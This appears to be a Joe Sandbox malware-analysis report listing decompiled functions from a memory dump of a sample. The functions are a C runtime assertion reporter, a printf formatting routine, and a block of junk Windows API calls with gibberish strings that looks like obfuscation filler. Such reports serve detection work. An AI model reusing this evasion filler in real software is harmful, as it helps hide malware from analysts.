Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 19a82ced36c4c353d2cf9c5cfade64825d3ae34f394905e62db03716d5c7414b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: D1117C72340100EFEB54DE65EC99FA677EAFB88330B698165E908CB352D676EC01D760

Uniqueness

Uniqueness Score: -1.00%

Function 0042C33E, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C33E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422D00(_t210));
						 *(L00422D00( *(L00422D00(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436130(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041D8E0( *((intOrPtr*)(L00422D00(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422D00(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DE50(E0041D9D0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DE50(E0041D9D0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DE50(E00432120(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DE50(E00432120(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DE50(E00432120(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DE50(E0041D9D0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422D00(_t210));
						 *(L00422D00(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BC80( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041D8E0( *(L00422D00(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422D00(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DE50(E0041D9D0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436BF0(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041D8E0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DE50(E0042DB80(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E1B0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x54b818;
						 *(_t263 - 0x5050) =  *0x54b818;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C8D5();
							goto L44;
						}
						_t240 =  *0x54b814;
						 *(_t263 - 0x504c) =  *0x54b814;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x54b810 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x54b810( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DCB0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DE50(E00436C20(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L004295E0(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CA3F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BCB0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DE50(E00436C20(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C240(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c33e
0x0042c34b
0x0042c3f8
0x0042c3fe
0x0042c40f
0x0042c41a
0x0042c432
0x0042c439
0x0042c43e
0x0042c441
0x0042c44e
0x0042c472
0x0042c477
0x0042c477
0x0042c47a
0x0042c47f
0x0042c485
0x0042c48e
0x0042c4c0
0x0042c4c5
0x0042c4c5
0x0042c48e
0x0042c4cc
0x0042c4d2
0x0042c4e0
0x0042c4d4
0x0042c4d4
0x0042c4d4
0x0042c50c
0x0042c51c
0x0042c521
0x0042c521
0x0042c556
0x0042c55b
0x0042c562
0x0042c564
0x0042c571
0x0042c5a3
0x0042c5a8
0x0042c5a8
0x0042c5cb
0x0042c5db
0x0042c5e0
0x0042c5e0
0x0042c5e7
0x0042c6f7
0x0042c6fc
0x0042c5ed
0x0042c5ed
0x0042c5fe
0x0042c609
0x0042c615
0x0042c616
0x0042c619
0x0042c634
0x0042c639
0x0042c63c
0x0042c649
0x0042c66d
0x0042c672
0x0042c672
0x0042c680
0x0042c689
0x0042c6bb
0x0042c6c0
0x0042c6c0
0x0042c6c3
0x0042c6ff
0x0042c709
0x0042c728
0x0042c737
0x0042c75e
0x0042c763
0x0042c76d
0x0042c79f
0x0042c7a4
0x0042c7a4
0x0042c7ae
0x0042c7bd
0x0042c7c7
0x0042c7d3
0x0042c7d8
0x0042c7db
0x0042c7e2
0x0042c7e8
0x0042c7ff
0x0042c808
0x0042c824
0x0042c82d
0x0042c82f
0x0042c834
0x0042c7f9
0x00000000
0x0042c7f9
0x0042c836
0x0042c846
0x00000000
0x0042c846
0x0042c857
0x0042c8c7
0x0042c8c7
0x0042c8ce
0x00000000
0x0042c8ce
0x0042c859
0x0042c85f
0x0042c876
0x0042c87f
0x0042c89b
0x0042c8a4
0x0042c8a6
0x0042c8ab
0x0042c870
0x00000000
0x0042c870
0x0042c8ad
0x0042c8bd
0x00000000
0x0042c8bd
0x00000000
0x0042c8e0
0x0042c8e0
0x0042c8e7
0x0042c8f4
0x0042c8f6
0x0042c900
0x0042c912
0x0042c918
0x0042c91d
0x0042c91f
0x0042c929
0x0042c92f
0x0042c92f
0x0042c91d
0x0042c93c
0x0042c94f
0x0042c96e
0x0042c973
0x0042c989
0x0042c989
0x0042c99c
0x0042c9a5
0x0042c9a5
0x0042c9ab
0x0042c9b8
0x0042c9ba
0x0042c9c5
0x0042c9f8
0x0042c9fd
0x0042c9fd
0x0042ca10
0x0042ca1f
0x0042ca2b
0x0042ca2b
0x0042c9b8
0x0042c93c
0x0042ca31
0x0042ca31
0x0042ca38
0x0042ca51
0x0042ca5a
0x0042ca62
0x0042ca63
0x0042ca64
0x0042ca72
0x0042ca72
0x0042c7ae
0x0042c382
0x0042c38f
0x0042c399
0x0042c3a6
0x0042c39b
0x0042c39e
0x0042c39e
0x0042c3b0
0x0042c3b7
0x0042c3c2
0x0042c3cf
0x0042c3da
0x0042c3e0
0x0042c3e5
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C343
__invoke_watson_if_error.LIBCMTD ref: 0042C382
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C38F
OutputDebugStringA.KERNEL32(004061A4), ref: 0042C3B7
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C3C2
OutputDebugStringA.KERNEL32(?), ref: 0042C3CF
OutputDebugStringA.KERNEL32(00406198), ref: 0042C3DA
_wcscat_s.LIBCMTD ref: 0042C59A

Part of subcall function 00432120: __invalid_parameter.LIBCMTD ref: 00432192

__invoke_watson_if_error.LIBCMTD ref: 0042C5A3

Part of subcall function 0041DE50: __invoke_watson.LIBCMTD ref: 0041DE71

_wcscat_s.LIBCMTD ref: 0042C5D2

Part of subcall function 00432120: _memset.LIBCMT ref: 004321FB
Part of subcall function 00432120: __invalid_parameter.LIBCMTD ref: 00432257

__invoke_watson_if_error.LIBCMTD ref: 0042C5DB
__snwprintf_s.LIBCMTD ref: 0042C634

Part of subcall function 0042BC80: __vsnprintf_s_l.LIBCMTD ref: 0042BCA2

__invoke_watson_if_oneof.LIBCMTD ref: 0042C66D
_wcscpy_s.LIBCMTD ref: 0042C6B2
__invoke_watson_if_error.LIBCMTD ref: 0042C6BB
__cftoe.LIBCMTD ref: 0042C72F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C75E
_wcscpy_s.LIBCMTD ref: 0042C796
__invoke_watson_if_error.LIBCMTD ref: 0042C79F
__itow_s.LIBCMTD ref: 0042C379

Part of subcall function 00436C20: _xtow_s@20.LIBCMTD ref: 00436C4B

__strftime_l.LIBCMTD ref: 0042C439
__invoke_watson_if_oneof.LIBCMTD ref: 0042C472
_wcscpy_s.LIBCMTD ref: 0042C4B7
__invoke_watson_if_error.LIBCMTD ref: 0042C4C0
_wcscpy_s.LIBCMTD ref: 0042C513
__invoke_watson_if_error.LIBCMTD ref: 0042C51C
_wcscat_s.LIBCMTD ref: 0042C54D
__invoke_watson_if_error.LIBCMTD ref: 0042C556

Strings

Second Chance Assertion Failed: File , xrefs: 0042C38A
%s(%d) : %s, xrefs: 0042C61E
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C584
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C362, 0042C9D8
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C535
t9j, xrefs: 0042C9C5
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C5BC
_VCrtDbgReportA, xrefs: 0042C35D, 0042C45C, 0042C49C, 0042C4F6, 0042C530, 0042C57F, 0042C5B7, 0042C657, 0042C697, 0042C749, 0042C77B, 0042C9D3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C358, 0042C457, 0042C497, 0042C4F1, 0042C52B, 0042C57A, 0042C5B2, 0042C652, 0042C692, 0042C744, 0042C776, 0042C9CE
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C785
(*_errno()), xrefs: 0042C461, 0042C65C
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C69C
_CrtDbgReport: String too long or IO Error, xrefs: 0042C4A6, 0042C6A1
Assertion failed!, xrefs: 0042C4E0
t8j, xrefs: 0042C76D
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C4FB
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C780
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C4A1
<file unknown>, xrefs: 0042C3A6
, Line , xrefs: 0042C3BD
Assertion failed: , xrefs: 0042C4D4
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C74E

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction ID: e04e8cba380a60f492da2a339a87830ec530e221e4c1b472841d77cf7a527584
Opcode Fuzzy Hash: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction Fuzzy Hash: D002D5B4E40724ABDB20DF50DC46BDF7374AB14746F5081AAF6087A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419B28, Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 00419B3E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419B51
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419B6F
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419B79
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419B97
GetLastError.KERNEL32 ref: 00419B9D
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419BB8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419BC7
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419BD8
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419BF8
GetStartupInfoW.KERNEL32(?), ref: 00419C05
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419C19
GlobalUnWire.KERNEL32 ref: 00419C77
GetProcessHeap.KERNEL32 ref: 00419CC3
GetProcessHeap.KERNEL32 ref: 00419CC9
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419CD7
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419CE1

Strings

gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419B65
jikatopoxolumuho, xrefs: 00419B92
u7, xrefs: 00419C1F
nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 00419B8D
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419B60
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419B6A
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419B88
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419BF3

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: 90ec3b98fa0caa65662619acfee9df50f925cf4ee781900175e0d09370706942
Instruction ID: 99409c041a4fb999a8c98f0914a716539196f1a6e8361cf188f33fca661ee4b3
Opcode Fuzzy Hash: 90ec3b98fa0caa65662619acfee9df50f925cf4ee781900175e0d09370706942
Instruction Fuzzy Hash: 53314A75940258EFEB109B90DE49FD977B9EB04706F1000A7F24AFA0A0D7B85AC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00434F79, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434F79(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428360(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428360(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428360(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428360(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428380(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428380(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430780(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E00430800( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
